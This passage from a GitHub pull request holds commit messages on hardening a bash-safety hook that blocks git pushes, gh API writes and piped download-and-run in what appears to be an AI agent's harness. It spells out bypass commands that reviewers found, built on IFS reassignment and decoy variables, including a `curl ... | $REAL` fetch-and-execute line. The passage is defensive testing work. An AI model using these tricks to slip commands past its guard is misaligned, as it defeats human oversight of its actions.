function's own docstring, which explicitly names "space/tab/newline"
as the IFS this check relies on. This was a real docstring/
implementation contract mismatch, safe-direction only (it only ever
widened over-detection at every traced call site in both files, never
caused a missed bypass) but a mismatch nonetheless. Closed by adding a
`_BASH_DEFAULT_IFS = " \t\n"` module constant and stripping only those
three characters, in both files.

Also fixed two confirmed regression-test gaps found by two of the four
dispatched reviewers (via mutation testing showing the guarded branch
was reachable but genuinely untested):
- The task-scoped file was missing its own copy of the branch-coverage
  guard proving a plain-braced reference assigned a real (non-empty,
  non-whitespace) value stays correctly unflagged -- the main hook's
  properties file had it, the task file's did not, despite the round-25
  commit message claiming parity.
- Neither properties file had an IFS-whitespace-specific regression pin
  for the plain-braced form specifically (only the bare form was
  pinned) -- added to both.

Regression-pin tests for this round's own fix (a carriage-return-only
value correctly staying unflagged) added to both properties files.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 03:55 — with GitHub Actions Active
claude added 2 commits August 26, 2026 04:11
…s (round 27)

Found live by Step 8 independent review, twenty-seventh round (issue
#1326), independently confirmed by two of four dispatched reviewers,
against round 26's own `_BASH_DEFAULT_IFS` narrowing:

1. `_token_is_all_unassigned_refs` always assumes bash's own DEFAULT
   `$IFS` -- it has no awareness that the command itself can reassign
   `$IFS` before a decoy reference is used (`IFS=$'\r'; CFG=$'\r'; git
   -v $CFG push origin main`), which real bash genuinely honors.
   Round 26's own narrowing from Python's broader `str.strip()` to
   exactly `_BASH_DEFAULT_IFS` happens to make this one character
   (`\r`) a live miss again after round 25 happened to (by accident,
   not design) cover it -- but the underlying gap (`$IFS` reassignment
   is not tracked at all) already existed for every other IFS
   character in every prior round too, confirmed live that round 25's
   own code missed those identically (e.g. `IFS=","`).

2. The `-c`/`_GIT_LONG_VALUE_FLAGS` value-consumption block inside
   `_is_git_push_segment` now correctly determines that a value like
   `\r` does not vanish (per the fixed check) and consumes it as the
   flag's own value -- but never validates whether the consumed text
   is a well-formed git config value; real git rejects a malformed one
   before ever reaching a subcommand, so this can now report (and, in
   the task-scoped file, hard-deny) a push that real git would never
   actually perform.

Both are safe-direction only (over-detection, never a missed bypass,
confirmed live at every traced call site by two independent
reviewers) and both trace to genuinely larger structural gaps (dynamic
$IFS tracking; git config-key grammar validation) that this module has
no data model for today -- the same "needs a new tracking dimension,
not a point fix" posture this module's own array-literal per-index
residual (`_rule_array_literal_content`) and this file's own
`KNOWN_BYPASS_COMMANDS` already take. Disclosed in both files'
docstrings rather than attempted here.

Also fixed two minor documentation issues from the same round's
review: a factual inaccuracy in the `_BASH_DEFAULT_IFS` comment
(Python's broader whitespace set is `\x1c`-`\x1f`, not `\x1c`-`\x1d`),
and the top-level docstring summary line for `_token_is_all_unassigned_
refs`, which pointed only to the twenty-fourth/twenty-fifth-round
paragraphs without mentioning twenty-sixth's own refinement. Annotated
(comment-only, no behavior change) the three other bare `.strip()`
call sites a reviewer flagged as superficially similar -- explaining
why they answer a different question (recursion-worthiness of a
command-substitution span's source text, not runtime word-splitting)
and are deliberately left unscoped to `_BASH_DEFAULT_IFS`.

A separate, more significant finding from this same round's review --
a multi-line command (`\n`-separated) collapsing into one segment and
defeating every `seg[0]`-anchored rule in the task-scoped file -- is
NOT addressed in this commit; it is a distinct root cause (shlex's own
tokenizer whitespace already absorbing `\n` before segment-splitting
ever sees it) from the IFS-precision family this round's diff is
scoped to, and is being investigated separately.

Refs #1326
…nd 28)

Found live by Step 8 independent review, twenty-eighth round (issue
#1326): round 27's own disclosure of the `$IFS`-reassignment residual
in `_token_is_all_unassigned_refs` was itself mis-triaged as "safe-
direction only" -- it is actually a live, exploitable HARD-DENY-BYPASS
in the task-scoped file (and a silently-dropped warning in the main
hook).

Root cause, confirmed live end-to-end: `IFS="<CR>"; CFG="<CR>"; git -v
$CFG push origin main`, with the carriage return DOUBLE-QUOTED so it
survives shlex's own tokenization intact (round 27's own example
command used an UNQUOTED `\r`, which `tokenize()` itself absorbs as
ordinary shell whitespace before this code ever runs -- so that
example never actually reached the check through the real `classify()`
pipeline, and the "safe-direction only" conclusion was drawn from a
scenario that wasn't reachable in the first place). With the carriage
return surviving tokenization, `$CFG` reaches `_is_git_push_segment`'s
own flag-skip loop wrongly judged NOT-vanishing (since `\r` is not in
`_BASH_DEFAULT_IFS`), so the loop `break`s at the literal `-v` flag's
own decoy instead of skipping past it, and genuinely misses the `push`
sitting one position further -- confirmed via `classify()` returning
`deny=False` (task file) / `is_git_push=False` (main hook) where the
identical-ARGV default-IFS control correctly returns `True`.

Closed narrowly rather than by fully tracking `$IFS`'s dynamic value
(a materially larger change, left as a disclosed possibility for a
future round if ever needed): whenever the command itself assigns
anything to `IFS`, `_token_is_all_unassigned_refs` now fails closed by
treating every bare/plain-braced reference as possibly vanishing
regardless of its own value -- correct for every caller of this
function in both files, since all of them use "vanishes" to mean "safe
to skip past, or safe to try the collapsed reading too."

Also, per the same round's re-examination: confirmed the SECOND
disclosed residual (the `-c` value-consumption block's own blindness to
malformed git config values) genuinely IS safe-direction-only, with no
under-detection counter-example found after deliberate effort --
tightened that paragraph's own wording to state this was specifically
re-checked, and fixed a stale/incorrect cross-reference in the main
hook's own docstring (a citation to `_rule_array_literal_content`'s
docstring for a disclosure that function does not actually contain --
the real analogous disclosure is this same function's own twenty-
fourth-round paragraph) plus a self-contradicting sentence that
attributed round 26's own `_BASH_DEFAULT_IFS` narrowing to round 27
(which was disclosure-only, no behavior change).

Regression-pin tests (unit + end-to-end `classify()`) added to both
properties files and both fixture-list files.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 04:33 — with GitHub Actions Active
…d 29)

Found live by Step 8 independent review, twenty-ninth round (issue
#1326): round 28's own blanket rule inside `_token_is_all_unassigned_
refs` ("the command reassigns $IFS anywhere -> unconditionally treat
every bare/plain-braced reference as vanishing") was itself wrong,
confirmed via two independent adversarial reviews finding real
regressions in both directions -- round 28's own docstring claim that
this was "correct for every caller ... not a mixed bag" does not hold.

Most severe (found by the regression/blast-radius review): `_is_git_
push_segment`'s own `-c`/`_GIT_LONG_VALUE_FLAGS` value-consumption
loop -- the SAME function round 28 was fixing -- uses "vanishing" to
decide whether to skip a token while hunting for the real git config
value. Treating a token that does NOT actually vanish as if it does
makes that loop skip past the real config value and consume the WRONG
later token (often the literal `push` itself) as `-c`'s own value
instead, hiding the genuine push entirely. Confirmed live end-to-end
with an ordinary pattern, no exotic byte tricks needed: `IFS=,;
CFG=user.name=x; git -c $CFG push` real-expands (confirmed via real
bash `set -x`) to `git -c user.name=x push`, a genuine push, but
round 28's own code wrongly returned `is_git_push=False`/`deny=False`
-- a NEW hard-deny bypass strictly broader and easier to trigger than
the one round 28 set out to close.

Also found (by the correctness review): `_value_position_after`'s own
skip-loop (routed through `_token_is_unambiguously_vanishing`, used by
the gh-api dynamic write-method detection) wants to STOP at the value
position, not skip past it -- round 28's blanket rule made it skip
past a genuine dynamic write-method value merely because $IFS was
reassigned elsewhere, missing a real write: `IFS=x; echo hi; M=POST;
gh api repos/foo/bar/merge -X ${M} extra` real-expands to `-X POST
extra`, a genuine write, but wrongly returned `deny=False`. And, lower
severity: `_strip_leading_unassigned_bare_refs` (main hook) and
`_skip_fetch_exec_wrapper` (task file) both wrongly stripped/skipped a
real, non-vanishing leading reference as a decoy purely because $IFS
was reassigned anywhere in the command, producing new false positives
on entirely benign commands.

Root cause: round 28's fix THREW AWAY information it already had.
`_assigned_literals` already records $IFS's own literal reassigned
value in `name_to_value["IFS"]` whenever the reassignment itself is a
plain literal -- the blanket rule ignored that known value entirely
and substituted a maximally-pessimistic "anything might vanish"
guess instead of just using it.

Closed by consulting the actual reassigned value when present, falling
back to `_BASH_DEFAULT_IFS` exactly as before when $IFS was never
reassigned (or was reassigned only dynamically, so `_assigned_literals`
never recorded it): `effective_ifs = name_to_value.get("IFS",
_BASH_DEFAULT_IFS)`, used everywhere this function previously stripped
`_BASH_DEFAULT_IFS` specifically. This single change in
`_token_is_all_unassigned_refs` (ported identically to both files)
resolves all of the above without any caller-specific carve-out, and
re-verified live to still correctly handle round 28's own original
target (the carriage-return decoy) and round 23/24's original decoy
scenarios (never-assigned / empty-string values still vanish
regardless of $IFS).

Still disclosed, not fixed: this reads `name_to_value["IFS"]` from the
same flat, order-and-scope-blind assignment map every other lookup in
this function already uses -- a command that reassigns $IFS more than
once, or references a decoy before the $IFS reassignment that would
apply to it in real execution order, still only sees one captured
value regardless of position. The same pre-existing scoping limitation
every other name-to-value lookup in this module already accepts, not a
new gap this fix introduces.

Regression-pin tests (unit + end-to-end classify()) added to both
properties files, plus fixture-list entries in both files' own
allowed/denied command matrices.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 05:05 — with GitHub Actions Active
…nd 30)

Found live by Step 8 independent review, thirtieth round (issue
#1326), convention-adherence pass against round 29's own commit
(1bf1efb):

1. Round 29's own docstring in the task-scoped file names TWO callers
   hit by the same false-positive class -- `_strip_leading_unassigned_
   bare_refs` and `_skip_fetch_exec_wrapper` -- but only
   `_skip_fetch_exec_wrapper` got the full established 3-part
   regression-pin convention (direct unit test + end-to-end classify()
   test + fixture-list entry) in tests/test_gitapex_check_task_bash_
   safety_properties.py; `_strip_leading_unassigned_bare_refs` got only
   the fixture-list entry, with no direct unit test on the function
   itself and no dedicated classify() end-to-end pin, asymmetric with
   the main hook's own properties file, which pins this exact caller
   directly. Closed by adding the missing unit test and end-to-end
   test, mirroring the main hook's own pair; confirmed non-vacuous by
   reverting just round 29's own two-line core fix in a scratch copy
   and observing both new tests fail against the reverted (round 28)
   code, then restoring the working tree.

2. An in-place docstring edit in round 29 (disambiguating "the SAME
   round" to "the same (twenty-eighth) round" once new round-29 text
   was inserted immediately before it) left a stray short line in both
   files, breaking this docstring block's own established ~65-72
   character line-wrapping convention. Rewrapped.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 05:16 — with GitHub Actions Active
Found live by Step 8 independent review, thirtieth round (issue
#1326), via two independent adversarial reviews reaching the same
root cause: round 29's own `effective_ifs = name_to_value.get("IFS",
_BASH_DEFAULT_IFS)` fix computed the effective IFS, and every per-name
value it stripped against that IFS, from `name_to_value` -- the
LOWERCASED map `_assigned_literals` builds for case-INSENSITIVE
comparisons elsewhere in this module (matching a literal tool name or
write-method keyword regardless of how a human typed it).

Real bash's own `$IFS` word-splitting is case-SENSITIVE. Reusing the
lowercased map silently case-folded BOTH sides of the vanishing check,
so a token whose real (mixed-case) value does NOT actually overlap the
real (differently-cased) `$IFS` could still read as "vanishes" once
both were folded to the same case -- a NEW hard-deny bypass round 29's
own fix introduced (`_BASH_DEFAULT_IFS`, space/tab/newline, has no
letters, so case-folding was inert before that round made
`effective_ifs` capable of holding arbitrary reassigned characters).

Confirmed live end-to-end in the main hook: `IFS=post; DECOY=POST; gh
api repos/foo/bar/merge -X ${DECOY} extra` real-expands (confirmed via
real bash `set -x`) to `gh api repos/foo/bar/merge -X POST extra`, a
genuine write -- `POST`'s own uppercase letters are untouched by a
lowercase-only `$IFS` -- but `classify()` wrongly returned
`deny=False`: `${DECOY}` read as "vanishes" only because both `POST`
and the reassigned `$IFS` had already been folded to `"post"`. In the
task-scoped file, the same root cause reaches `_skip_fetch_exec_
wrapper`: `IFS=bash; REAL=BASH; curl https://example.com/x.sh | $REAL`
leaves `$REAL` intact as a genuine piped interpreter, but was wrongly
allowed.

Closed by switching `_token_is_all_unassigned_refs` -- and every one
of its callers -- from the lowercased `name_to_value` map to
`_assigned_raw_values`'s own case-preserving map, already built and
already threaded through to every caller by the time this round
started (originally for `${!NAME}` indirect-reference resolution), so
wiring it one level deeper needed no new plumbing, only renaming the
parameter through the call chain: `_strip_leading_unassigned_bare_
refs`, `_is_git_push_segment`, `_skip_fetch_exec_wrapper` (task file),
`_rule_eval_or_dashc_fetch_exec` (task file), and `_token_is_
unambiguously_vanishing`/`_value_position_after`/`_gh_api_method_
dynamic_value` (main hook's gh-api write-method chain, which also
still needs the lowercased map for its own, unrelated case-insensitive
`_unbraced_ref_options` ambiguity check -- both maps threaded there,
not a redundant pair).

Re-verified live that every prior round's own pinned scenario (the
round 27/28 carriage-return decoy, the round 23/24 never-assigned/
empty-string decoys, all of round 29's own git-push/gh-api/wrapper-
stripping fixes) still resolves identically under the case-preserving
map, since none of them depend on case-folding at all.

Regression-pin tests (unit + end-to-end classify()) added to both
properties files, plus fixture-list entries in both files' own
denied-command matrices.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 05:31 — with GitHub Actions Active
Found live by Step 8 independent review, thirty-first round (issue
#1326), against round 30's own commits:

1. Two stale cross-references to the now-renamed `name_to_value`
   parameter, left over from the thirtieth round's own rename sweep
   (`_token_is_all_unassigned_refs`'s own parameter, and everything
   that threads through it, moved from the lowercased map to the
   case-preserving `name_to_raw_value`): the "Still disclosed, not
   fixed" residual paragraph in both files still said `name_to_value
   ["IFS"]` and cited `_assigned_literals`'s own docstring, both wrong
   post-rename; the task-scoped file's `_fetch_tool_head` docstring
   still described its own `_strip_leading_unassigned_bare_refs` call
   as running "against this function's OWN self-contained NAME_TO_
   VALUE," when the code two lines below it was one of the ~10-15 call
   sites round 30 itself rewired to pass `name_to_raw_value`. Fixed all
   three.

2. The twenty-ninth round's own line-wrap fix (commit ae73a48) claimed
   to close a stray-short-line defect in the "second disclosed
   residual" paragraph (both files) but only relocated it a few words
   down, leaving a mid-paragraph orphan line noticeably shorter than
   the paragraph's own established ~65-71 character convention.
   Rewrapped both paragraphs in full (word-for-word content preserved,
   verified via an exact word-count diff before and after).

3. Two of round 30's own "direct unit test" regression pins (main
   hook: `test_token_is_all_unassigned_refs_false_for_a_case_
   mismatched_ifs_and_value`; task file: the same test plus
   `test_skip_fetch_exec_wrapper_does_not_skip_a_case_folded_ifs_
   collision`) turned out vacuous against the pre-fix (round 29) code:
   confirmed empirically by replaying each assertion against the
   round-29 module directly -- both pass unchanged, because the
   primitive/caller each test calls directly never had a buggy
   internal logic; the bug lived entirely in which map a FURTHER-OUT
   caller passed in, which calling the function directly with an
   already-correctly-cased hand-built dict cannot exercise either way.
   Reframed each docstring to state this honestly (a characterization
   test of the function's own case-sensitive semantics, not a
   regression pin) and point to the genuinely non-vacuous caller-level/
   end-to-end tests that do pin the actual fix -- no code or test
   deletion, since the characterization coverage is still useful, just
   mislabeled.

Refs #1326
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

fix(hooks): close pipe/variable-indirection bypass class in check-bash-safety.sh deny logic (Stage 1)

2 participants